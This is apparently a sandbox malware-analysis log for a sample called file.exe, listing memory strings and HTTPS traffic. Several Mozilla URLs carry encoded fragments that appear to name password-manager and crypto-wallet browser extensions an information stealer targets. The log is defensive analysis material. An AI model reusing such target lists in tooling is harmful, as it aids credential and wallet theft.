Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, CBGHCAKKFBGDHJJJKECF.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000001.00000003.1808767970.00002E9400338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000001.00000003.1808767970.00002E9400338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000001.00000003.1808767970.00002E9400338000.00000004.00000800.00020000.00000000.sdmp, chromecache_77.3.dr	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000001.00000003.1790013924.00002E9400F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: file.exe, 00000000.00000002.2065495419.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, DBKEGCAE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000001.00000003.1810134713.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810586560.00002E94012DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1813889235.00002E94014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812887482.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812928146.00002E940140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000001.00000003.1794153999.00002E940120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000001.00000003.1808767970.00002E9400338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_81.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_81.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000001.00000003.1821871540.00002E94017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821788071.00002E9401798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821829404.00002E940179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821734746.00002E9401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822248685.00002E94017C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821954163.00002E94017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822175732.00002E94017BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822111234.00002E94017AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822036687.00002E94017A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822281745.00002E94017C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000001.00000003.1822281745.00002E94017C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager.
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000001.00000003.1814650340.00002E9401500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000001.00000003.1808767970.00002E9400338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000001.00000003.1808767970.00002E9400338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chromecache_77.3.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_77.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_77.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000001.00000003.1810504150.00002E940149C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000003.1810134713.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810943158.00002E9401020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1813889235.00002E94014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812887482.00002E94013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1812928146.00002E940140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810553109.00002E94014A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810504150.00002E940149C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000001.00000003.1811391070.00002E9401434000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: AKKEGDGCGDAKEBFIJECGHJEGCA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2064326724.0000000000594000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AKKEGDGCGDAKEBFIJECGHJEGCA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2064326724.0000000000594000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AKKEGDGCGDAKEBFIJECGHJEGCA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2064326724.0000000000594000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2038741266.00000000239B8000.00000004.00000020.00020000.00000000.sdmp, AKKEGDGCGDAKEBFIJECGHJEGCA.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2064326724.0000000000594000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2064326724.0000000000594000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: AKKEGDGCGDAKEBFIJECGHJEGCA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2064326724.0000000000594000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usGF8aHBnbGZoZ2ZuaGJncGpk
Source: file.exe, 00000000.00000002.2064326724.0000000000566000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usWFwa21ibGlvYnwxfDB8MHxM
Source: file.exe, 00000000.00000003.2038741266.00000000239B8000.00000004.00000020.00020000.00000000.sdmp, AKKEGDGCGDAKEBFIJECGHJEGCA.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
